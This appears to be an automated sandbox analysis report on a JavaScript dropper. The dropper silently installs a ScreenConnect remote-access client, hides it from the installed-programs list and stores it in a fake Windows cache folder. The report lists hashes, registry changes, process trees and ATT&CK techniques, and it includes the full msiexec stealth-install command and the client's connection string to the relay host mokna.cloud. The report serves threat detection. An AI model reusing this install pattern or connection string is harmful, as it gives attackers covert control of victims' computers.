075ae973e762dc64b5d6c7b170a2de4664ca86640071859020f129e2d1e03f20

Analysis

max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/09/2026, 18:26

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General

Target
Docs-20260929182658910.js
Size 3.1MB
Sample260929-w3prbssepc
SHA256 075ae973e762dc64b5d6c7b170a2de4664ca86640071859020f129e2d1e03f20
MD5 26f845f7ee0cf26a951fdeb63329487a
SHA1 3a38aaddfb15aab0f5eac8d4443e20660552d00f
SHA512 980ab97c58763871ecf09548de3885d02c24bb170bce828c31c57f85d31b22acb9fb97bab62b323a0bc314e8060c73ddf4247d3fc416354ad05d2481a423a023
SSDEEP 49152:tA+/veDaWsukPxfjyelhssJCQZ/hmWwDnpKFED3UJNXMgsakIg78:R
TLSH
T111E533210AFD5EBD4BE8D32C24DF1F0E26E11F918859A5D7A39AB9C3065EF51026F078
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery execution

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
236	ScreenConnect.ClientService.exe
3784	ScreenConnect.WindowsClient.exe
5940	ScreenConnect.WindowsClient.exe

Loads dropped DLL 25 IoCs

pid	Process
1548	MsiExec.exe
4500	rundll32.exe
4500	rundll32.exe
4500	rundll32.exe
4500	rundll32.exe
4500	rundll32.exe
4500	rundll32.exe
4500	rundll32.exe
1548	MsiExec.exe
1548	MsiExec.exe
1548	MsiExec.exe
5704	MsiExec.exe
5704	MsiExec.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
	\??\F:\	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Drops file in Windows directory 25 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI677D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI69C2.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD52EA7B14156A254.TMP	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI61AE.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1C40135A95DE99BC.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI67DC.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{EAE29D4A-EE6C-4C4A-90C6-0CC5EF4A0A56}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{EAE29D4A-EE6C-4C4A-90C6-0CC5EF4A0A56}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI61AE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI61AE.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File created	C:\Windows\Installer\SourceHash{EAE29D4A-EE6C-4C4A-90C6-0CC5EF4A0A56}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI66F0.tmp	msiexec.exe
File created	C:\Windows\Installer\e595fce.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e595fca.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI61AE.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI61AE.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI66DF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6925.tmp	msiexec.exe
File created	C:\Windows\Installer\{EAE29D4A-EE6C-4C4A-90C6-0CC5EF4A0A56}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB405770DAB2E675D.TMP	msiexec.exe
File created	C:\Windows\Installer\e595fca.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD77DF672ABBE6368.TMP	msiexec.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe

Modifies registry class 32 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\A4D92EAEC6EEA4C4096CC05CFEA4A065	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\A4D92EAEC6EEA4C4096CC05CFEA4A065\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\ProductIcon = "C:\\Windows\\Installer\\{EAE29D4A-EE6C-4C4A-90C6-0CC5EF4A0A56}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\PackageCode = "D7176CFD8FE33E944A194E82FEEE35BE"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\Version = "336266244"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2\A4D92EAEC6EEA4C4096CC05CFEA4A065	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command\ = "\"C:\\ProgramData\\Microsoft\\Windows\\Caches\\c4f8a2e19b3d\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4D92EAEC6EEA4C4096CC05CFEA4A065\ProductName = "ScreenConnect Client (a883241204db1a2c)"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4088	msiexec.exe
4088	msiexec.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe
236	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4792	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4792	msiexec.exe
Token: SeSecurityPrivilege	4088	msiexec.exe
Token: SeCreateTokenPrivilege	4792	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4792	msiexec.exe
Token: SeLockMemoryPrivilege	4792	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4792	msiexec.exe
Token: SeMachineAccountPrivilege	4792	msiexec.exe
Token: SeTcbPrivilege	4792	msiexec.exe
Token: SeSecurityPrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeLoadDriverPrivilege	4792	msiexec.exe
Token: SeSystemProfilePrivilege	4792	msiexec.exe
Token: SeSystemtimePrivilege	4792	msiexec.exe
Token: SeProfSingleProcessPrivilege	4792	msiexec.exe
Token: SeIncBasePriorityPrivilege	4792	msiexec.exe
Token: SeCreatePagefilePrivilege	4792	msiexec.exe
Token: SeCreatePermanentPrivilege	4792	msiexec.exe
Token: SeBackupPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeShutdownPrivilege	4792	msiexec.exe
Token: SeDebugPrivilege	4792	msiexec.exe
Token: SeAuditPrivilege	4792	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4792	msiexec.exe
Token: SeChangeNotifyPrivilege	4792	msiexec.exe
Token: SeRemoteShutdownPrivilege	4792	msiexec.exe
Token: SeUndockPrivilege	4792	msiexec.exe
Token: SeSyncAgentPrivilege	4792	msiexec.exe
Token: SeEnableDelegationPrivilege	4792	msiexec.exe
Token: SeManageVolumePrivilege	4792	msiexec.exe
Token: SeImpersonatePrivilege	4792	msiexec.exe
Token: SeCreateGlobalPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeShutdownPrivilege	5704	MsiExec.exe
Token: SeDebugPrivilege	236	ScreenConnect.ClientService.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
3784	ScreenConnect.WindowsClient.exe
3784	ScreenConnect.WindowsClient.exe
3784	ScreenConnect.WindowsClient.exe
3784	ScreenConnect.WindowsClient.exe
3784	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
3784	ScreenConnect.WindowsClient.exe
3784	ScreenConnect.WindowsClient.exe
3784	ScreenConnect.WindowsClient.exe
3784	ScreenConnect.WindowsClient.exe
3784	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4792	msiexec.exe
4088	msiexec.exe
1548	MsiExec.exe
5704	MsiExec.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3564 wrote to memory of 4792	3564	wscript.exe	89
PID 4088 wrote to memory of 1548	4088	msiexec.exe	91
PID 1548 wrote to memory of 4500	1548	MsiExec.exe	92
PID 4088 wrote to memory of 5704	4088	msiexec.exe	93
PID 236 wrote to memory of 3784	236	ScreenConnect.ClientService.exe	96
PID 236 wrote to memory of 5940	236	ScreenConnect.ClientService.exe	97

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Docs-20260929182658910.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3564
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart ARPSYSTEMCOMPONENT=1 ARPNOREMOVE=1 ARPNOMODIFY=1 ARPNOREPAIR=1 ALLUSERS=1 INSTALLLOCATION="C:\\ProgramData\\Microsoft\\Windows\\Caches\\c4f8a2e19b3d" PROGRAMDATALOCATION="C:\\ProgramData\\Microsoft\\Windows\\Caches\\c4f8a2e19b3d\\Data"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4792

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4088
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C699D44A686998210F888D967155F726
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI61AE.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240739000 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4500
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 34993BDFA4FEE6E76643B6F44D320833 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5704

C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe
C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=mokna.cloud&p=8041&s=2104fdfd-2ffa-4d1b-a3b9-2b8db3e8715f&k=BgIAAACkAABSU0ExAAgAAAEAAQCNxZL3tg1sOj784pJI%2fDjJndvmtBu0S1bSLvxJJblA5QrsTjN6qKwRFIIrRCRPXbw9DUWtT3Mf9z9SOtMv1jfKpQIKOX0lQZ%2b6cjlHtKp3vUtCypslW%2fxzKgnq%2bPd%2fZUDAXmEH%2byWifRPUK7cZIJ%2f2Kek2HVYG2RFDmW9ICImBHCpFMdRXV5vSsvbseRT1czW4v1KZAopL%2b3wGZsFlPeofLR%2fcuO27F%2bu8%2fSkBzUU2ojCPloPIcid84hL6nTjFSEw5IRseAESnrUkw8etdlmdJsvHpg8LrI0OaHzV7FTkDecXKyjy4NUWxmYn8wGHxuiQXhhv7FmY73E0HSvelEvLm"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:236
- C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe
  "C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe" "RunRole" "2f21c2fa-5e26-478a-9eb7-8b99a8bb2373" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3784
- C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe
  "C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe" "RunRole" "ea60f67e-3289-4b36-839d-1910c04df284" "System"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:5940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

e595fcd.rbs

Path C:\Config.Msi\e595fcd.rbs
Size 212KB
SHA256 5f9acc5e814736dacc2bfc1128c44889b70354004e790280e330dff2dc7ba719
MD5 2f2483caf4367a992c5a2bbf63e62a48
SHA1 de0ff4ca702410b0c0934f4b31387a717aba78d0
SHA512 92b95f5588b10af23fa8bb35840f185503f6747ed4e03e71d34bf55c79d02801200ae34ff1db9f9d2d114c7b3b5edeeab8e63ecf178f3824ee37f348cef4788c
SSDEEP 3072:G9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGE:GuH2aCGw1ST1wQLdqvE
TLSH
T15C248D226484807EE7FA1A32D93F9A71BE7DF6240760C59EC3848C1E5D604D06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

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Client.en-US.resources

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.en-US.resources
Size 40KB
SHA256 e6062ed6322bcd81e007ed52223dd958fcf9a4f492b33040fc2b68b0f557ce7c
MD5 16cd43e092acdbc94d1ac0ce1b4c8ea9
SHA1 19702fa4e790474a1dbc065d5f06a8f1558de524
SHA512 45932bc1704727e81ca8b2bf4a70c3cf688552f28afa15e07c96cc5c0904aa893726c944279e5638db9d9ed2c8ab4fe72082bd2a9803fcc8621ec59c2905a9b6
SSDEEP 768:TvOnOH2PQb3ksw1TFIBb4TEMgRsFQS97wXLwh7Kp1yvM8ZErWIri:rOn5Qb0sw1TiBb4TEMgRsFQS97wXLwh1
TLSH
T1AD030D1277FD0A18F5F36F06BE7A94629D37BD562E25C06E1028455E1AB2F80C9B2373
MD5 SHA1 SHA512 SSDEEP TLSH

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Client.resources

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.resources
Size 2KB
SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
MD5 0b47901f2c782922f034fba8e8062916
SHA1 893075f8ca04f92dbef7f6e81223e1b08e29328f
SHA512 b3db1c4ffed1dbaef5e03f4819bcba5f0a6864c26123e059b6a649911adbd380ae3aa1eb63c2397ea1ea5fc61103468b5db838080d7c7d5de848b5002c31cbd6
TLSH
T1B34103CA3BFA2D74F4B79B736EB99050EE35FE1C3566D1AE1406441E2B213099880B33
MD5 SHA1 SHA512 TLSH

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ScreenConnect.Client.dll

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.Client.dll
Size 153KB
SHA256 91ef17033e63abfd3769e3264f9b9999c03e8c1cbf9a935529ba588eecb1a1ee
MD5 e5a9cedfca2f0071e26610e7a505cc4f
SHA1 3f845a06d02a712707b503223ef69a72de655fd1
SHA512 f9e81278b94964103e0b65ea8f781bc5f1d7e1501ee98032ab7aff69cbbbc271d323d6900b61007fddbc6242cef07dcc64342c178be8a38313df673ea8068b6c
SSDEEP 3072:JsURiZnZrKR91EFocIgglCfUKMrz6D2Na5DOoABi87fJ6fRM:JsjIjcyoD2cDgM878
TLSH
T1ABE39EBB63A45D79C58F8A37B06201309FB196416233F75F5A24F8FA6D237C046582E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.dll
Size 32KB
SHA256 ea2d01e8a1f0bce68d71887aa6a0e822179c2cc599c340a87ef4043cb47f8878
MD5 2ab89617eac8dddf0af371d30f813937
SHA1 7eb3b9afa84e85798f6b688560f371431e273821
SHA512 cb9b263ef129eb13e13ed0b13c46baa13733dd6da3a3aa2d35eb0635953a89a516707586d0c0ffc5d3410defcc8c2b11af3a8e93bf063ec6163d679fb6c0f106
SSDEEP 768:HFiY04W7D3ZsvFBDX5qxlNigvt6Ex9x2yCOb/:lupstBbYlsAt6EcJOb/
TLSH
T15FE2294553B84B32C4EE4B7CB866B14407B09E826562F69C8EC9E0DF1E673814E457EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe
Size 88KB
SHA256 f1d3120597b8f1115f7bd5cd7110be8baca7b350a785774411ed2c265bce363e
MD5 5b9410ffcc24eb553593da53c3c8c77f
SHA1 df1cd2b628ac44d41584727f32473cc06f93e271
SHA512 402de2ec3704e936122f7d789f11a49f5cefbc08959b08c0789f07dd5ad5cb0d912882674d6675a6d515f0e2976eaa43f28c050a0808f04a11c0a109861bcea4
SSDEEP 1536:TVnKQbrt7pdnNmhno7GcqbksWjcdLyXN4WAitMw8NP8:T8wt7TvmbLLyXOWAitMW
TLSH
